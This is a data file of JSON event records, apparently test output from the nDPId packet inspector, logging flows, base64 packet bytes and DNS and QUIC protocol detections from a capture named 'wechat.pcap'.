+00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"wechat.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1492167345896,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.78","src_port":47627,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167345,"pkt_ts_usec":896252,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0u5hAAEAGF5PAqAFn2DrNTroLAbv4cm+uICz91YAQATUbzAAAAQEICgAwswD2qQZf"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"wechat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1492167345896,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.78","src_port":53220,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167345,"pkt_ts_usec":896311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ew1AAEAGOYDAqAFnrNkXTs\/kAbv7Pa3ZiiWYPIAQAT3Z6QAAAQEICgAwswB+x0ZO"} +00422{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167345,"pkt_ts_usec":935019,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0XCMAADcGv2jYOs1OwKgBZwG7ugsgLP3V+HJvr4AQAV1HoAAAAQEICvaptmIAL9cA"} +00422{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167345,"pkt_ts_usec":937743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0vmsAADcGPoKs2RdOwKgBZwG7z+SKJZg8+z2t2oAQAVQFzwAAAQEICn7H9k8AL9cC"} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167347,"pkt_ts_usec":435725,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0LFtAACwG\/EnLzZeiwKgBZwG700RsJQ5CFiW5B4ARAQCiIgAAAQEICkXRnm4AMKsW"} +00422{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167347,"pkt_ts_usec":472253,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0B7RAAEAGDZHAqAFny82XotNEAbsWJbkHbCUOQ4AQAk6XYAAAAQEICgAwtIpF0Z5u"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"wechat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1492167350333,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":46078,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":333752,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"8IQvSpdgeJKcD6iOCABFAAA92D9AAEAR3brAqAFnwKgB\/rP+ADUAKS5MZgIBAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQAAAQAB"} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"wechat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1492167350333,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":46078,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"ssl.gstatic.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00650{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":372335,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"eJKcD6iO8IQvSpdgCABFoADcAABAAEARtLvAqAH+wKgBZwA1s\/4AyDQ0ZgKBgAABAAEABAAEA3NzbAdnc3RhdGljA2NvbQAAAQABwAwAAQABAAAAHQAErNkXQ8AQAAIAAQACiyoADQNuczEGZ29vZ2xlwBjAEAACAAEAAosqAAYDbnMywEHAEAACAAEAAosqAAYDbnM0wEHAEAACAAEAAosqAAYDbnMzwEHAPQABAAEABThHAATY7yAKwFYAAQABAAUudQAE2O8iCsB6AAEAAQAFLnUABNjvJArAaAABAAEABS51AATY7yYK"} +00663{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":48,"source":"wechat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_first_seen":1492167350333,"flow_last_seen":1492167350372,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":41,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":46078,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"ssl.gstatic.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.23.67"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"wechat.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1492167350385,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":51507,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02202{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":385726,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAVivyhAAEAR8DbAqAFnrNkXQ8kzAbsFThBpDTHWY7YNkySLUTAzNQEAZRP82mbzhTNOuyagAQAEQ0hMTx0AAABQQUQAIgEAAFNOSQAxAQAAU1RLAGsBAABWRVIAbwEAAENDUwB\/AQAATk9OQ58BAABNU1BDowEAAEFFQUSnAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1zc2wuZ3N0YXRpYy5jb23DJ9pgKUoswhKlaAfLoi3sQZPhfUFgtpep51u0rkbBgx\/nebVFToqDPqkbsFtGn3MXCPqLWhc6j\/ixUTAzNQHogWCSkhrofu2AhqIVgpFY8Kq2MDAwMDAwMDC6zWefDMewsHm6e\/MeaJgBlt0fDWQAAABDQzIwQ2hyb21lLzU3LjAuMjk4Ny4xMzMgTGludXggeDg2XzY0Jc6XFWD7G7yXYXhVaoxdywAAAABYNTA5AAAQAAEAAAAeAAAAtqrwWAAAAAA5eOlJA3D70ONW2AJf\/ogbdqDz00OrZf\/OgXQcK6rvrAta8o74ustrYp5ItVHeFC1VJKErdNkin676crWgBJJhZAAAAAEAAABDMjU1wgnkHLidnM3CCeQcuJ2czT2t9HxBefiRQAt7kKmuees3ygAAW65hsjHRUCwmcSnHJYniTszHhABKgaojbj7US89crmIZu34dDjUIs9wDqj3f87VRLZoVe0zMx1t+ZFc1SOwYij5LWSM1YcolsQBx9V4iuTevcGsCo1kr3VNCHdz7PtfP9d6GZNrg2+YgXWbXAAnfNe23tKnBUPczWdseoa1PkV+7toc2QUBJDmQV3Doscx5oizBP3jmujZdyIIvaDPKntnnsjC8AAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00622{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"wechat.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1492167350385,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":51507,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"ssl.gstatic.com","user_agent":"Chrome\/57.0.2987.133 Linux x86_64"}} +00877{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":386186,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":400,"pkt_l4_len":366,"pkt":"8IQvSpdgeJKcD6iOCABFAAGCvylAAEAR9BXAqAFnrNkXQ8kzAbsBbud7DTHWY7YNkySLUTAzNQLvwr0xyGRZ7meDZlovLzVjAbbzC3jR2f2rSyaEQR29GdHUR3g0xdsFTdTip7X1Nnsf4tYU5MBGkSRYowzYqBAgeAEueiV49O5ngVqvp6AacuKzAzgJV3z622EcXJUEyhTJ+nOIANjFkaDTQTI+jdNEu4FfF\/TnyxM++AGJ3to5M6SWYBz2BeCP\/OGMSC7yUukPIe4sRQeIQcXq+IYSj3PAlHKxZT8HDRP7kjwgghqQy0grhbmgn+9HaZmoQLo9gu4ijkDWy6wUW+W8oMWbJ3Ky6wEFXzApvzV\/FZNjJh6PDtkHubM5JHhhh00iIakeLzopZrU7PnZst39suCb9JKpUYtFvmoJnG3+X2ld76667v+kx3ZpHcdgXPlvpm8rm+2k6Em\/vgF23i7kHM9aRW5K+1InNa4QsADwuokzDCUylLbXZYixDaZtGruoPUyaIkf6OjyLbS2SNBQ=="} +02203{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":462573,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAVivzBAAEAR8C7AqAFnrNkXQ8kzAbsFTm8mDTHWY7YNkySLUTAzNQMCK\/NUmHquSjxA+X2gAQAEQ0hMTx0AAABQQUQAIgEAAFNOSQAxAQAAU1RLAGsBAABWRVIAbwEAAENDUwB\/AQAATk9OQ58BAABNU1BDowEAAEFFQUSnAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1zc2wuZ3N0YXRpYy5jb23DJ9pgKUoswhKlaAfLoi3sQZPhfUFgtpep51u0rkbBgx\/nebVFToqDPqkbsFtGn3MXCPqLWhc6j\/ixUTAzNQHogWCSkhrofu2AhqIVgpFY8Kq2MDAwMDAwMDC6zWefDMewsHm6e\/MeaJgBlt0fDWQAAABDQzIwQ2hyb21lLzU3LjAuMjk4Ny4xMzMgTGludXggeDg2XzY0Jc6XFWD7G7yXYXhVaoxdywAAAABYNTA5AAAQAAEAAAAeAAAAtqrwWAAAAAA5eOlJA3D70ONW2AJf\/ogbdqDz00OrZf\/OgXQcK6rvrAta8o74ustrYp5ItVHeFC1VJKErdNkin676crWgBJJhZAAAAAEAAABDMjU1wgnkHLidnM3CCeQcuJ2czT2t9HxBefiRQAt7kKmuees3ygAAW65hsjHRUCwmcSnHJYniTszHhABKgaojbj7US89crmIZu34dDjUIs9wDqj3f87VRLZoVe0zMx1t+ZFc1SOwYij5LWSM1YcolsQBx9V4iuTevcGsCo1kr3VNCHdz7PtfP9d6GZNrg2+YgXWbXAAnfNe23tKnBUPczWdseoa1PkV+7toc2QUBJDmQV3Doscx5oizBP3jmujZdyIIvaDPKntnnsjC8AAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02228{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":488480,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFoAViAABAADcRt7+s2RdDwKgBZwG7yTMFTuPKBNtpRNeisKdzzqqB80k\/RvEcLV+eNstooOP26jQwiV8kAUkwPIMgeBmjqFkk1eZa85ntkHHKG5sLS2nvF5TmkUr+if921Zg1I0\/4gCajXiftZ1cQ7HzDlknoAxBMi+AaCHBUPnPHivZkyl4iSGvXlnHgng3\/7naBjCDqlDK6F+CuxkK8R8D3zCSfpOaKQGBLlchz5S+hCTIwqEd99ts2qf\/5eNYdL5VkMpB5nPqZijuHeZKsbAA\/ctrAa2iT4JB48UuOXvpg5wOCy\/anBkev1fI+1TTLsBMyhp3HjpYh2aKJvkMCmiRctHYEQnmaEMBwOlLcCDMzXUr6cVbELb2ipeNilNIPUR6fbRTICFCh\/dLk8Z8s4+2+q+YRvL47cij8qjU\/MSP\/JdAcQdXgf4J1moMV\/HD76jtK\/q6K2AELbJTL7zlTXQDvl7lhybUqmS8n2wO6ChZ8mkKRPXTTl52a1+v\/t94S8AMxF3uAvJ9f0fJ\/ZMEI3IZ6O7qMEGehlJFUg6ku3WOM+3kE9ZCniZ1GxLmVMmc7+ELA+4BU071ElcmB0cNHc3igocgwlfnuRZX3+k22dSiwenP+A9\/TUyzBAHrcaRXwxtrkUB5nhrAwxJ7sXU8h0m3RmPoZeSXzzc9FxpQ5MJBVfPZ2nvgM8SZWj76Mbmfae4W0Y5pSAxeitiyz6e\/pvVhOlpfDYK7FaYxKn1bgfQne5NYXwxOjjO8qXjZbyhi6U1yf0AFPol4fV4k6ffTGHaG+993EhQAEInqFjs5KLpUuYY0UmCTl9cNR7U0ln37rA4ek3m2s0HjMh2LjsowbaeOmpJRUN6KZp0r5FoNKL2Rbyy6azhyGhinEk2F7Nx7T7OFc8qzh5U88cLdGwsiClMeV++e44EyVBwnyLUnGa79agiHRfcH8uQeFO2JdRvD8m0OGuY\/X4Xq2M9cudkHEZSL9Cvaxgr19m\/Ehm6WWrLrr5ou2qkcyHZ3odgdmbvlBOkYXAqUw1OB0DtQD3U6wTXoHGqO0PM1\/UtTkXAr1qpn86JcvZn\/ynpf2O5qdTtcOKebDq3DgNLkK0T9cm1y1rD4T88uFzlXeHlJh99mdpFsPJ+vFVCQJPwP7vqfT71mINa6\/Pb0Q7bplVWYi1b+UplNOm7yEjJaBRU8Bhv5Pxyh091JSaVecSM2kcDi5U\/hakzgazrriEloDM0v4i1dEuq0I7ZBLcjJFITvSi14YlRX8vKn4kLmPQ3\/oteLhKPRWjTUKm67b08p+Rv8wo6\/ZnvVJVK\/7YJnm2usF3Wz7NfPzR6ckRZ7uYkJZmfPh8\/VTMnabtN3diLkyqGe2ks0kfaaMAlrrWQhbKh5F1K\/LsLNpBub30iqBt5MUt5aEFkSBabvJWtjubQn6QyW8GVs2dFwnL\/CjJFVDk8+kRhzcqwTcIkUO4tw7WxxCUf0F3PNbBjXIBOJrChJ1p3uBHljOGy2Dh0DxDK+EyF7GTnybbIRpeK2oedkfCEnpPpUi7IlpneqyneEiPOyp2oNCjVACBgL5+pYyFsR5gW6VnysncwXQfH26UNpBXtf5HwJr+NOuLicMNTiFrLT4hNvlLhb3HdSm4\/kbBpXefbUT++QhHN5PIPKN2F75i0fG4B9SKWDSWSc\/XO7Nr\/jOHdYwW3e+5zfODYV5lIC5IJtaSio5iRwf\/LvS2RbglFn3Jj94DvsSRYClnbw0fes8mzb2I5dE9C5wElePnvErieuDHTJLAwGVHurqwdlhGSdQnFmnpIjvps8w458iyTv63wjC\/7VPejnxfmCEmz3XcXd1WkP82S2K"} +00446{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":489750,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"8IQvSpdgeJKcD6iOCABFAABFvzVAAEAR9UbAqAFnrNkXQ8kzAbsAMQogDDHWY7YNkySLBOrASIpV41hPskm0GMKG4qO9Zgt0H6YdoS0lP52KlgM="} +00435{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":492969,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"eJKcD6iO8IQvSpdgCABFoAA7AABAADcRvOas2RdDwKgBZwG7yTMAJzAnAAKyFCqrim3sDOQE\/XDJpR12pzfvYmnKHzCB9qcEGg=="} +00430{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":493002,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"eJKcD6iO8IQvSpdgCABFoAA6AABAADcRvOes2RdDwKgBZwG7yTMAJhITAAOOiWkWxkr2BoDxvqS3cLitwaYkv2m85is5NMlI"} +00443{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":493257,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCvzZAAEAR9UjAqAFnrNkXQ8kzAbsALqnmDDHWY7YNkySLBWKbf5etVeyiT33m0Z2Ue\/M3a2Vjw+Gv8zEJQBQ="} +00778{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":495330,"pkt_caplen":328,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":328,"pkt_l4_len":294,"pkt":"eJKcD6iO8IQvSpdgCABFoAE6AABAADcRu+es2RdDwKgBZwG7yTMBJlJfAAQqNhNwzYSAXgmLkJsHpaAzRcBJayS1EpBkIgCW6fSDanYiNcFDAyPxbhdyRJqZD812kkSsRg+WUvT2KLaAyICsFWnAnwk25HPdQVI0wTzVQyDtCqN3YJqvfGHNzs+iLVfPp633VV0GJn4ObnKaYxfsnXCcrr\/IPqTYnLCfzUCGvEjuI6q6FQVoVp9FcQHRTXKqHrZAi0qjsHco6cUwphiazOWMSRF55gV3avowYEEq4lB2TRknAueP8WFqaF4hLEqRRUI2CbDnbPXy7uPzDzqE00ePIM5ECbqBFllGv264I2q2dptJEcfnN5ks5RU+6VVOddalILKch814mN3H5TVjmomuT2C55qzhNAuB1epiyEtycgjMOuSgdAc8HQ=="} +00443{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":521605,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"8IQvSpdgeJKcD6iOCABFAABCvzpAAEAR9UTAqAFnrNkXQ8kzAbsALrPCDDHWY7YNkySLBmo4YJbUlXxqD2ZC063Gtj+1aqDqaJQXEvzUnwc="} +02226{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167350,"pkt_ts_usec":536493,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"eJKcD6iO8IQvSpdgCABFoAViAABAADcRt7+s2RdDwKgBZwG7yTMFTm9MBNtpRNeisKdzzqqB80k\/RvEcLV+eNstooOP26jQwiV8kBblm3dTMANuspYc920Vx0oYIXBW0KuZ1vWoVnPSdPJ4UKJkf+FbmFOlk6SH8fRKFWFgYfZiOUUynAbxB3AJqplwmIHbobO7Z5tANMt7h7SxgWl44rImFSxqlDUEOCOBDmTMxMOEJhfDHaN7m6wQ1FMHS0Puwf1sjt7ZzGjL3ZPNckvOikzN2EUckFK\/lA1c672vmfe02ziUZ\/pY6YHiAbOQiGdRZMVAqXj6M22QamZxxwrXlFgVnaLXfLCPV2IYY4nU5YeNmSIRXKeiAw1x0sFuYSR8YcwwFWTHb3rmXTjtXaUa4tBug7rZuTXqSQxl\/ZdCnCBfz2JOMsix14LXJbTudLd7yYB7GeOxvBZvWoRlWFUSslm0uO1YA0Jh8tDD7iRCoR8p+qnt3ZGI+YIA4d1UgFizePuIPAYGWL+yWxpMDGg0OPOBHtkSVSwv1FCykzDwoyOXUXGcyj0MMrEbIMSUB2dJfjeTJnd\/+oiXplYyIcKiGSZhtN9CRM0lDUhq7UJasOIO1JObHpDpLCzL1reHq9or+CxHXdIk+oCMBfj32KolZWZ\/xzNJQvCEOMYT\/1VDd3tPGrrPSfeX87BQ3FDxI8ooUeghZ5YF1zbyhyDpcnzcOG3E7msqoi+Qmq\/W5JsXnQqHvdZt1XIYWICyJk6\/8T\/olEowQ76IeaFHY3n+lZOONMuyB5dtFQJTC5uhsElrydOQ75UeYWA4JJHZsrGc3xbaFnjVyU6OC1Ll7T0\/34JtFo8rmhCgBt9jeDYQOUI8QjrkMNvcLWVvpBZDq+PRKtCsmRfOVWmlbySzkIuSIc5uBb3OcYUx8S5ZcFBiiAYan12ayOFxHgo6O4VgVmdPvJQpE5pMn0SrFLLOQfO2l7S0lNmzTTcZrrRRRbow2OZdcHqLYbmdvMsGXQf1fvaX\/fnUKgUM78T3vdi04V7XSgHgo\/evARwLSRQswYtXqIdcY6r4vK\/NB+Mx9LO6W0g+0lPtM1ZJpmNbLEoSMPRRheWF\/OmwnW9+tH18eHRaIB7DjgP7lMlKQaXDZyJWTje6zVnOhNKBSp+23Oy8mfQUXnAkif9qR9DJfqb\/5ir3PHVtA95FGTW7Ldm+IAaiZRGNj2SNM4BCk71zqHmm44SGomUN3mRz8cuXTHp6SX5ipopQ3zde5ohPbnL\/vjWT1j\/m3XpFelbz3CL5qip13H5H7s65gHQ0Dz\/PkyrRSi5K1NwDiX6fWXe\/HHVu6Bd0oLYAsE5tHPE2IGZK\/\/HWEbqEAkdw\/oLC49T\